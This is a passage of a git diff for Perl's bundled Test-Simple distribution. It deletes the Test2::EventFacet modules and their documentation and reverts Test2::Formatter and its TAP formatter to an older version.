+0,0 @@ -package Test2::EventFacet::Control; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) } -use Test2::Util::HashBase qw{ -global -terminate -halt -has_callback -encoding }; - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet::Control - Facet for hub actions and behaviors. - -=head1 DESCRIPTION - -This facet is used when the event needs to give instructions to the Test2 -internals. - -=head1 FIELDS - -=over 4 - -=item $string = $control->{details} - -=item $string = $control->details() - -Human readable explanation for the special behavior. - -=item $bool = $control->{global} - -=item $bool = $control->global() - -True if the event is global in nature and should be seen by all hubs. - -=item $exit = $control->{terminate} - -=item $exit = $control->terminate() - -Defined if the test should immediately exit, the value is the exit code and may -be C<0>. - -=item $bool = $control->{halt} - -=item $bool = $control->halt() - -True if all testing should be halted immediately. - -=item $bool = $control->{has_callback} - -=item $bool = $control->has_callback() - -True if the C method on the event should be called. - -=item $encoding = $control->{encoding} - -=item $encoding = $control->encoding() - -This can be used to change the encoding from this event onward. - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm b/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm deleted file mode 100644 index 306dc310d888..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet/Error.pm +++ /dev/null @@ -1,93 +0,0 @@ -package Test2::EventFacet::Error; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -sub facet_key { 'errors' } -sub is_list { 1 } - -BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) } -use Test2::Util::HashBase qw{ -tag -fail }; - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet::Error - Facet for errors that need to be shown. - -=head1 DESCRIPTION - -This facet is used when an event needs to convey errors. - -=head1 NOTES - -This facet has the hash key C<'errors'>, and is a list of facets instead of a -single item. - -=head1 FIELDS - -=over 4 - -=item $string = $error->{details} - -=item $string = $error->details() - -Explanation of the error, or the error itself (such as an exception). In perl -exceptions may be blessed objects, so this field may contain a blessed object. - -=item $short_string = $error->{tag} - -=item $short_string = $error->tag() - -Short tag to categorize the error. This is usually 10 characters or less, -formatters may truncate longer tags. - -=item $bool = $error->{fail} - -=item $bool = $error->fail() - -Not all errors are fatal, some are displayed having already been handled. Set -this to true if you want the error to cause the test to fail. Without this the -error is simply a diagnostics message that has no effect on the overall -pass/fail result. - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm b/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm deleted file mode 100644 index 03c55530544b..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm +++ /dev/null @@ -1,109 +0,0 @@ -package Test2::EventFacet::Hub; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -sub is_list { 1 } -sub facet_key { 'hubs' } - -BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) } -use Test2::Util::HashBase qw{-pid -tid -hid -nested -buffered -uuid -ipc}; - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet::Hub - -=head1 DESCRIPTION - -These are a record of the hubs an event passes through. Most recent hub is the -first one in the list. - -=head1 FACET FIELDS - -=over 4 - -=item $string = $trace->{details} - -=item $string = $trace->details() - -The hub class or subclass - -=item $int = $trace->{pid} - -=item $int = $trace->pid() - -PID of the hub this event was sent to. - -=item $int = $trace->{tid} - -=item $int = $trace->tid() - -The thread ID of the hub the event was sent to. - -=item $hid = $trace->{hid} - -=item $hid = $trace->hid() - -The ID of the hub that the event was send to. - -=item $huuid = $trace->{huuid} - -=item $huuid = $trace->huuid() - -The UUID of the hub that the event was sent to. - -=item $int = $trace->{nested} - -=item $int = $trace->nested() - -How deeply nested the hub was. - -=item $bool = $trace->{buffered} - -=item $bool = $trace->buffered() - -True if the event was buffered and not sent to the formatter independent of a -parent (This should never be set when nested is C<0> or C). - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm b/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm deleted file mode 100644 index 805cab1ba97b..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet/Info.pm +++ /dev/null @@ -1,102 +0,0 @@ -package Test2::EventFacet::Info; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -sub is_list { 1 } - -BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) } -use Test2::Util::HashBase qw{-tag -debug -important}; - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet::Info - Facet for information a developer might care about. - -=head1 DESCRIPTION - -This facet represents messages intended for humans that will help them either -understand a result, or diagnose a failure. - -=head1 NOTES - -This facet appears in a list instead of being a single item. - -=head1 FIELDS - -=over 4 - -=item $string_or_structure = $info->{details} - -=item $string_or_structure = $info->details() - -Human readable string or data structure, this is the information to display. -Formatters are free to render the structures however they please. This may -contain a blessed object. - -=item $short_string = $info->{tag} - -=item $short_string = $info->tag() - -Short tag to categorize the info. This is usually 10 characters or less, -formatters may truncate longer tags. - -=item $bool = $info->{debug} - -=item $bool = $info->debug() - -Set this to true if the message is critical, or explains a failure. This is -info that should be displayed by formatters even in less-verbose modes. - -When false the information is not considered critical and may not be rendered -in less-verbose modes. - -=item $bool = $info->{important} - -=item $bool = $info->important - -This should be set for non debug messages that are still important enough to -show when a formatter is in quiet mode. A formatter should send these to STDOUT -not STDERR, but should show them even in non-verbose mode. - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm b/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm deleted file mode 100644 index 31a4e0c1f8d6..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm +++ /dev/null @@ -1,104 +0,0 @@ -package Test2::EventFacet::Meta; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) } -use vars qw/$AUTOLOAD/; - -# replace set_details -{ - no warnings 'redefine'; - sub set_details { $_[0]->{'set_details'} } -} - -sub can { - my $self = shift; - my ($name) = @_; - - my $existing = $self->SUPER::can($name); - return $existing if $existing; - - # Only vivify when called on an instance, do not vivify for a class. There - # are a lot of magic class methods used in things like serialization (or - # the forks.pm module) which cause problems when vivified. - return undef unless ref($self); - - my $sub = sub { $_[0]->{$name} }; - { - no strict 'refs'; - *$name = $sub; - } - - return $sub; -} - -sub AUTOLOAD { - my $name = $AUTOLOAD; - $name =~ s/^.*:://g; - my $sub = $_[0]->can($name); - goto &$sub; -} - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet::Meta - Facet for meta-data - -=head1 DESCRIPTION - -This facet can contain any random meta-data that has been attached to the -event. - -=head1 METHODS AND FIELDS - -Any/all fields and accessors are autovivified into existence. There is no way -to know what metadata may be added, so any is allowed. - -=over 4 - -=item $anything = $meta->{anything} - -=item $anything = $meta->anything() - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm b/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm deleted file mode 100644 index baf66e99a672..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm +++ /dev/null @@ -1,98 +0,0 @@ -package Test2::EventFacet::Parent; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -use Carp qw/confess/; - -BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) } -use Test2::Util::HashBase qw{ -hid -children -buffered }; - -sub init { - confess "Attribute 'hid' must be set" - unless defined $_[0]->{+HID}; - - $_[0]->{+CHILDREN} ||= []; -} - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet::Parent - Base class for all event facets. - -=head1 DESCRIPTION - -This facet is used when an event contains other events, such as a subtest. - -=head1 FIELDS - -=over 4 - -=item $string = $parent->{details} - -=item $string = $parent->details() - -Human readable description of the event. - -=item $hid = $parent->{hid} - -=item $hid = $parent->hid() - -Hub ID of the hub that is represented in the parent-child relationship. - -=item $arrayref = $parent->{children} - -=item $arrayref = $parent->children() - -Arrayref containing the facet-data hashes of events nested under this one. - -I - -=item $bool = $parent->{buffered} - -=item $bool = $parent->buffered() - -True if the subtest is buffered (meaning the formatter has probably not seen -them yet). - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm b/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm deleted file mode 100644 index 3789bcb5c91f..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm +++ /dev/null @@ -1,94 +0,0 @@ -package Test2::EventFacet::Plan; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) } -use Test2::Util::HashBase qw{ -count -skip -none }; - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet::Plan - Facet for setting the plan - -=head1 DESCRIPTION - -Events use this facet when they need to set the plan. - -=head1 FIELDS - -=over 4 - -=item $string = $plan->{details} - -=item $string = $plan->details() - -Human readable explanation for the plan being set. This is normally not -rendered by most formatters except when the C field is also set. - -=item $positive_int = $plan->{count} - -=item $positive_int = $plan->count() - -Set the number of expected assertions. This should usually be set to C<0> when -C or C are also set. - -=item $bool = $plan->{skip} - -=item $bool = $plan->skip() - -When true the entire test should be skipped. This is usually paired with an -explanation in the C
field, and a C facet that has -C set to C<0>. - -=item $bool = $plan->{none} - -=item $bool = $plan->none() - -This is mainly used by legacy L tests which set the plan to C, a construct that predates the much better C. - -If you are using this in non-legacy code you may need to reconsider the course -of your life, maybe a hermitage would suite you? - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm b/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm deleted file mode 100644 index 709a9f61823e..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet/Render.pm +++ /dev/null @@ -1,106 +0,0 @@ -package Test2::EventFacet::Render; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -sub is_list { 1 } - -BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) } -use Test2::Util::HashBase qw{ -tag -facet -mode }; - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet::Render - Facet that dictates how to render an event. - -=head1 DESCRIPTION - -This facet is used to dictate how the event should be rendered by the standard -test2 rendering tools. If this facet is present then ONLY what is specified by -it will be rendered. It is assumed that anything important or note-worthy will -be present here, no other facets will be considered for rendering/display. - -This facet is a list type, you can add as many items as needed. - -=head1 FIELDS - -=over 4 - -=item $string = $render->[#]->{details} - -=item $string = $render->[#]->details() - -Human readable text for display. - -=item $string = $render->[#]->{tag} - -=item $string = $render->[#]->tag() - -Tag that should prefix/identify the main text. - -=item $string = $render->[#]->{facet} - -=item $string = $render->[#]->facet() - -Optional, if the display text was generated from another facet this should -state what facet it was. - -=item $mode = $render->[#]->mode{} - -=item $mode = $render->[#]->mode() - -=over 4 - -=item calculated - -Calculated means the facet was generated from another facet. Calculated facets -may be cleared and regenerated whenever the event state changes. - -=item replace - -Replace means the facet is intended to replace the normal rendering of the -event. - -=back - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm b/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm deleted file mode 100644 index 280258c6aa5e..000000000000 --- a/cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm +++ /dev/null @@ -1,280 +0,0 @@ -package Test2::EventFacet::Trace; -use strict; -use warnings; - -our $VERSION = '1.302133'; - -BEGIN { require Test2::EventFacet; our @ISA = qw(Test2::EventFacet) } - -use Test2::Util qw/get_tid pkg_to_file/; -use Carp qw/confess/; - -use Test2::Util::HashBase qw{^frame ^pid ^tid ^cid -hid -nested details -buffered -uuid -huuid}; - -{ - no warnings 'once'; - *DETAIL = \&DETAILS; - *detail = \&details; - *set_detail = \&set_details; -} - -sub init { - confess "The 'frame' attribute is required" - unless $_[0]->{+FRAME}; - - $_[0]->{+DETAILS} = delete $_[0]->{detail} if $_[0]->{detail}; - - $_[0]->{+PID} = $$ unless defined $_[0]->{+PID}; - $_[0]->{+TID} = get_tid() unless defined $_[0]->{+TID}; -} - -sub snapshot { - my ($orig, @override) = @_; - bless {%$orig, @override}, __PACKAGE__; -} - -sub signature { - my $self = shift; - - # Signature is only valid if all of these fields are defined, there is no - # signature if any is missing. '0' is ok, but '' is not. - return join ':' => map { (defined($_) && length($_)) ? $_ : return undef } ( - $self->{+CID}, - $self->{+PID}, - $self->{+TID}, - $self->{+FRAME}->[1], - $self->{+FRAME}->[2], - ); -} - -sub debug { - my $self = shift; - return $self->{+DETAILS} if $self->{+DETAILS}; - my ($pkg, $file, $line) = $self->call; - return "at $file line $line"; -} - -sub alert { - my $self = shift; - my ($msg) = @_; - warn $msg . ' ' . $self->debug . ".\n"; -} - -sub throw { - my $self = shift; - my ($msg) = @_; - die $msg . ' ' . $self->debug . ".\n"; -} - -sub call { @{$_[0]->{+FRAME}} } - -sub package { $_[0]->{+FRAME}->[0] } -sub file { $_[0]->{+FRAME}->[1] } -sub line { $_[0]->{+FRAME}->[2] } -sub subname { $_[0]->{+FRAME}->[3] } - -1; - -__END__ - -=pod - -=encoding UTF-8 - -=head1 NAME - -Test2::EventFacet::Trace - Debug information for events - -=head1 DESCRIPTION - -The L object, as well as all L types need to -have access to information about where they were created. This object -represents that information. - -=head1 SYNOPSIS - - use Test2::EventFacet::Trace; - - my $trace = Test2::EventFacet::Trace->new( - frame => [$package, $file, $line, $subname], - ); - -=head1 FACET FIELDS - -=over 4 - -=item $string = $trace->{details} - -=item $string = $trace->details() - -Used as a custom trace message that will be used INSTEAD of -C<< at line >> when calling C<< $trace->debug >>. - -=item $frame = $trace->{frame} - -=item $frame = $trace->frame() - -Get the call frame arrayref. - -=item $int = $trace->{pid} - -=item $int = $trace->pid() - -The process ID in which the event was generated. - -=item $int = $trace->{tid} - -=item $int = $trace->tid() - -The thread ID in which the event was generated. - -=item $id = $trace->{cid} - -=item $id = $trace->cid() - -The ID of the context that was used to create the event. - -=item $uuid = $trace->{uuid} - -=item $uuid = $trace->uuid() - -The UUID of the context that was used to create the event. (If uuid tagging was -enabled) - -=back - -=head2 DISCOURAGED HUB RELATED FIELDS - -These fields were not always set properly by tools. These are B -deprecated by the L facets. These fields are not -required, and may only reflect the hub that was current when the event was -created, which is not necessarily the same as the hub the event was sent -through. - -Some tools did do a good job setting these to the correct hub, but you cannot -always rely on that. Use the 'hubs' facet list instead. - -=over 4 - -=item $hid = $trace->{hid} - -=item $hid = $trace->hid() - -The ID of the hub that was current when the event was created. - -=item $huuid = $trace->{huuid} - -=item $huuid = $trace->huuid() - -The UUID of the hub that was current when the event was created. (If uuid -tagging was enabled). - -=item $int = $trace->{nested} - -=item $int = $trace->nested() - -How deeply nested the event is. - -=item $bool = $trace->{buffered} - -=item $bool = $trace->buffered() - -True if the event was buffered and not sent to the formatter independent of a -parent (This should never be set when nested is C<0> or C). - -=back - -=head1 METHODS - -B All facet frames are also methods. - -=over 4 - -=item $trace->set_detail($msg) - -=item $msg = $trace->detail - -Used to get/set a custom trace message that will be used INSTEAD of -C<< at line >> when calling C<< $trace->debug >>. - -C is an alias to the C
facet field for backwards -compatibility. - -=item $str = $trace->debug - -Typically returns the string C<< at line >>. If C is set -then its value will be returned instead. - -=item $trace->alert($MESSAGE) - -This issues a warning at the frame (filename and line number where -errors should be reported). - -=item $trace->throw($MESSAGE) - -This throws an exception at the frame (filename and line number where -errors should be reported). - -=item ($package, $file, $line, $subname) = $trace->call() - -Get the caller details for the debug-info. This is where errors should be -reported. - -=item $pkg = $trace->package - -Get the debug-info package. - -=item $file = $trace->file - -Get the debug-info filename. - -=item $line = $trace->line - -Get the debug-info line number. - -=item $subname = $trace->subname - -Get the debug-info subroutine name. - -=item $sig = trace->signature - -Get a signature string that identifies this trace. This is used to check if -multiple events are related. - -If UUID's are enabled then a uuid is returned. Otherwise the signature includes -pid, tid, file, line number, and the cid which is C<'C\d+'> for traces created -by a context, or C<'T\d+'> for traces created by C. - -=back - -=head1 SOURCE - -The source code repository for Test2 can be found at -F. - -=head1 MAINTAINERS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 AUTHORS - -=over 4 - -=item Chad Granum Eexodist@cpan.orgE - -=back - -=head1 COPYRIGHT - -Copyright 2018 Chad Granum Eexodist@cpan.orgE. - -This program is free software; you can redistribute it and/or -modify it under the same terms as Perl itself. - -See F - -=cut diff --git a/cpan/Test-Simple/lib/Test2/Formatter.pm b/cpan/Test-Simple/lib/Test2/Formatter.pm index 0f179e59bcb8..945d545dd65a 100644 --- a/cpan/Test-Simple/lib/Test2/Formatter.pm +++ b/cpan/Test-Simple/lib/Test2/Formatter.pm @@ -2,7 +2,7 @@ package Test2::Formatter; use strict; use warnings; -our $VERSION = '1.302133'; +our $VERSION = '1.302073'; my %ADDED; @@ -14,11 +14,6 @@ sub import { Test2::API::test2_formatter_add($class); } -sub new_root { - my $class = shift; - return $class->new(@_); -} - sub hide_buffered { 1 } sub terminate { } @@ -61,18 +56,12 @@ A formatter is any package or object with a C method. sub finalize { } - sub new_root { - my $class = shift; - ... - $class->new(@_); - } - 1; The C method is a method, so it either gets a class or instance. The two arguments are the C<$event> object it should record, and the C<$assert_num> which is the number of the current assertion (ok), or the last assertion if -this event is not itself an assertion. The assertion number may be any integer 0 +this even is not itself an assertion. The assertion number may be any integer 0 or greater, and may be undefined in some cases. The C method must return a boolean. This is used to tell @@ -92,12 +81,6 @@ The C method is always the last thing called on the formatter, I<< except when C is called for a Bail event >>. It is passed the following arguments: -The C method is called when C Initializes the root -hub for the first time. Most formatters will simply have this call C<< -$class->new >>, which is the default behavior. Some formatters however may want -to take extra action during construction of the root formatter, this is where -they can do that. - =over 4 =item * The number of tests that were planned @@ -135,7 +118,7 @@ F. =head1 COPYRIGHT -Copyright 2018 Chad Granum Eexodist@cpan.orgE. +Copyright 2016 Chad Granum Eexodist@cpan.orgE. This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm b/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm index 2082de7b8f92..680095cfede6 100644 --- a/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm +++ b/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm @@ -1,33 +1,49 @@ package Test2::Formatter::TAP; use strict; use warnings; +require PerlIO; -our $VERSION = '1.302133'; - -use Test2::Util qw/clone_io/; +our $VERSION = '1.302073'; use Test2::Util::HashBase qw{ - no_numbers handles _encoding _last_fh - -made_assertion + no_numbers handles _encoding }; sub OUT_STD() { 0 } sub OUT_ERR() { 1 } +use Carp qw/croak/; + BEGIN { require Test2::Formatter; our @ISA = qw(Test2::Formatter) } -sub _autoflush { - my($fh) = pop; - my $old_fh = select $fh; - $| = 1; - select $old_fh; +my %CONVERTERS = ( + 'Test2::Event::Ok' => 'event_ok', + 'Test2::Event::Skip' => 'event_skip', + 'Test2::Event::Note' => 'event_note', + 'Test2::Event::Diag' => 'event_diag', + 'Test2::Event::Bail' => 'event_bail', + 'Test2::Event::Exception' => 'event_exception', + 'Test2::Event::Subtest' => 'event_subtest', + 'Test2::Event::Plan' => 'event_plan', + 'Test2::Event::TAP::Version' => 'event_version', +); + +# Initial list of converters are safe for direct hash access cause we control them. +my %SAFE_TO_ACCESS_HASH = %CONVERTERS; + +sub register_event { + my $class = shift; + my ($type, $convert) = @_; + croak "Event type is a required argument" unless $type; + croak "Event type '$type' already registered" if $CONVERTERS{$type}; + croak "The second argument to register_event() must be a code reference or method name" + unless $convert && (ref($convert) eq 'CODE' || $class->can($convert)); + $CONVERTERS{$type} = $convert; } _autoflush(\*STDOUT); _autoflush(\*STDERR); -sub hide_buffered { 1 } - sub init { my $self = shift; @@ -37,23 +53,12 @@ sub init { } } -sub _open_handles { - my $self = shift; - - require Test2::API; - my $out = clone_io(Test2::API::test2_stdout()); - my $err = clone_io(Test2::API::test2_stderr()); - - _autoflush($out); - _autoflush($err); - - return [$out, $err]; -} +sub hide_buffered { 1 } sub encoding { my $self = shift; - if ($] ge "5.007003" and @_) { + if (@_) { my ($enc) = @_; my $handles = $self->{+HANDLES}; @@ -77,21 +82,15 @@ if ($^C) { *write = sub {}; } sub write { - my ($self, $e, $num, $f) = @_; - - # The most common case, a pass event with no amnesty and a normal name. - return if $self->print_optimal_pass($e, $num); - - $f ||= $e->facet_data; - - $self->encoding($f->{control}->{encoding}) if $f->{control}->{encoding}; + my ($self, $e, $num) = @_; - my @tap = $self->event_tap($f, $num) or return; + my $type = ref($e); - $self->{+MADE_ASSERTION} = 1 if $f->{assert}; + my $converter = $CONVERTERS{$type} || 'event_other'; + my @tap = $self->$converter($e, $self->{+NO_NUMBERS} ? undef : $num) or return; - my $nesting = $f->{trace}->{nested} || 0; my $handles = $self->{+HANDLES}; + my $nesting = ($SAFE_TO_ACCESS_HASH{$type} ? $e->{nested} : $e->nested) || 0; my $indent = ' ' x $nesting; # Local is expensive! Only do it if we really need to. @@ -102,139 +101,59 @@ sub write { next unless $msg; my $io = $handles->[$hid] or next; - print $io "\n" - if $ENV{HARNESS_ACTIVE} - && !$ENV{HARNESS_IS_VERBOSE} - && $hid == OUT_ERR - && $self->{+_LAST_FH} != $io - && $msg =~ m/^#\s*Failed test /; - $msg =~ s/^/$indent/mg if $nesting; print $io $msg; - $self->{+_LAST_FH} = $io; } } -sub print_optimal_pass { - my ($self, $e, $num) = @_; - - my $type = ref($e); - - # Only optimal if this is a Pass or a passing Ok - return unless $type eq 'Test2::Event::Pass' || ($type eq 'Test2::Event::Ok' && $e->{pass}); - - # Amnesty requires further processing (todo is a form of amnesty) - return if ($e->{amnesty} && @{$e->{amnesty}}) || defined($e->{todo}); - - # A name with a newline or hash symbol needs extra processing - return if defined($e->{name}) && (-1 != index($e->{name}, "\n") || -1 != index($e->{name}, '#')); - - my $ok = 'ok'; - $ok .= " $num" if $num && !$self->{+NO_NUMBERS}; - $ok .= defined($e->{name}) ? " - $e->{name}\n" : "\n"; - - if (my $nesting = $e->{trace}->{nested}) { - my $indent = ' ' x $nesting; - $ok = "$indent$ok"; - } - - my $io = $self->{+HANDLES}->[OUT_STD]; - - local($\, $,) = (undef, '') if $\ || $,; - print $io $ok; - $self->{+_LAST_FH} = $io; - - return 1; -} - -sub event_tap { - my ($self, $f, $num) = @_; - - my @tap; - - # If this IS the first event the plan should come first - # (plan must be before or after assertions, not in the middle) - push @tap => $self->plan_tap($f) if $f->{plan} && !$self->{+MADE_ASSERTION}; - - # The assertion is most important, if present. - if ($f->{assert}) { - push @tap => $self->assert_tap($f, $num); - push @tap => $self->debug_tap($f, $num) unless $f->{assert}->{no_debug} || $f->{assert}->{pass}; - } - - # Almost as important as an assertion - push @tap => $self->error_tap($f) if $f->{errors}; - - # Now lets see the diagnostics messages - push @tap => $self->info_tap($f) if $f->{info}; +sub _open_handles { + my $self = shift; - # If this IS NOT the first event the plan should come last - # (plan must be before or after assertions, not in the middle) - push @tap => $self->plan_tap($f) if $self->{+MADE_ASSERTION} && $f->{plan}; + my %seen; + open(my $out, '>&', STDOUT) or die "Can't dup STDOUT: $!"; + binmode($out, join(":", "", "raw", grep { $_ ne 'unix' and !$seen{$_}++ } PerlIO::get_layers(STDOUT))); - # Bail out - push @tap => $self->halt_tap($f) if $f->{control}->{halt}; + %seen = (); + open(my $err, '>&', STDERR) or die "Can't dup STDERR: $!"; + binmode($err, join(":", "", "raw", grep { $_ ne 'unix' and !$seen{$_}++ } PerlIO::get_layers(STDERR))); - return @tap if @tap; - return @tap if $f->{control}->{halt}; - return @tap if grep { $f->{$_} } qw/assert plan info errors/; + _autoflush($out); + _autoflush($err); - # Use the summary as a fallback if nothing else is usable. - return $self->summary_tap($f, $num); + return [$out, $err]; } -sub error_tap { - my $self = shift; - my ($f) = @_; - - my $IO = ($f->{amnesty} && @{$f->{amnesty}}) ? OUT_STD : OUT_ERR; - - return map { - my $details = $_->{details}; - - my $msg; - if (ref($details)) { - require Data::Dumper; - my $dumper = Data::Dumper->new([$details])->Indent(2)->Terse(1)->Pad('# ')->Useqq(1)->Sortkeys(1); - chomp($msg = $dumper->Dump); - } - else { - chomp($msg = $details); - $msg =~ s/^/# /; - $msg =~ s/\n/\n# /g; - } - - [$IO, "$msg\n"]; - } @{$f->{errors}}; +sub _autoflush { + my($fh) = pop; + my $old_fh = select $fh; + $| = 1; + select $old_fh; } -sub plan_tap { +sub event_tap { my $self = shift; - my ($f) = @_; - my $plan = $f->{plan} or return; + my ($e, $num) = @_; - return if $plan->{none}; + my $converter = $CONVERTERS{ref($e)} or return; - if ($plan->{skip}) { - my $reason = $plan->{details} or return [OUT_STD, "1..0 # SKIP\n"]; - chomp($reason); - return [OUT_STD, '1..0 # SKIP ' . $reason . "\n"]; - } + $num = undef if $self->{+NO_NUMBERS}; - return [OUT_STD, "1.." . $plan->{count} . "\n"]; + return $self->$converter($e, $num); } -sub no_subtest_space { 0 } -sub assert_tap { +sub event_ok { my $self = shift; - my ($f, $num) = @_; + my ($e, $num) = @_; - my $assert = $f->{assert} or return; - my $pass = $assert->{pass}; - my $name = $assert->{details}; + # We use direct hash access for performance. OK events are so common we + # need this to be fast. + my ($name, $todo) = @{$e}{qw/name todo/}; + my $in_todo = defined($todo); - my $ok = $pass ? 'ok' : 'not ok'; - $ok .= " $num" if $num && !$self->{+NO_NUMBERS}; + my $out = ""; + $out .= "not " unless $e->{pass}; + $out .= "ok"; + $out .= " $num" if defined($num); # The regex form is ~250ms, the index form is ~50ms my @extra; @@ -243,155 +162,194 @@ sub assert_tap { ((index($name, "#" ) != -1 || substr($name, -1) eq '\\') && (($name =~ s|\\|\\\\|g), ($name =~ s|#|\\#|g))) ); - my $extra_space = @extra ? ' ' x (length($ok) + 2) : ''; - my $extra_indent = ''; + my $space = @extra ? ' ' x (length($out) + 2) : ''; - my ($directives, $reason, $is_skip); - if ($f->{amnesty}) { - my %directives; + $out .= " - $name" if defined $name; + $out .= " # TODO" if $in_todo; + $out .= " $todo" if defined($todo) && length($todo); - for my $am (@{$f->{amnesty}}) { - next if $am->{inherited}; - my $tag = $am->{tag} or next; - $is_skip = 1 if $tag eq 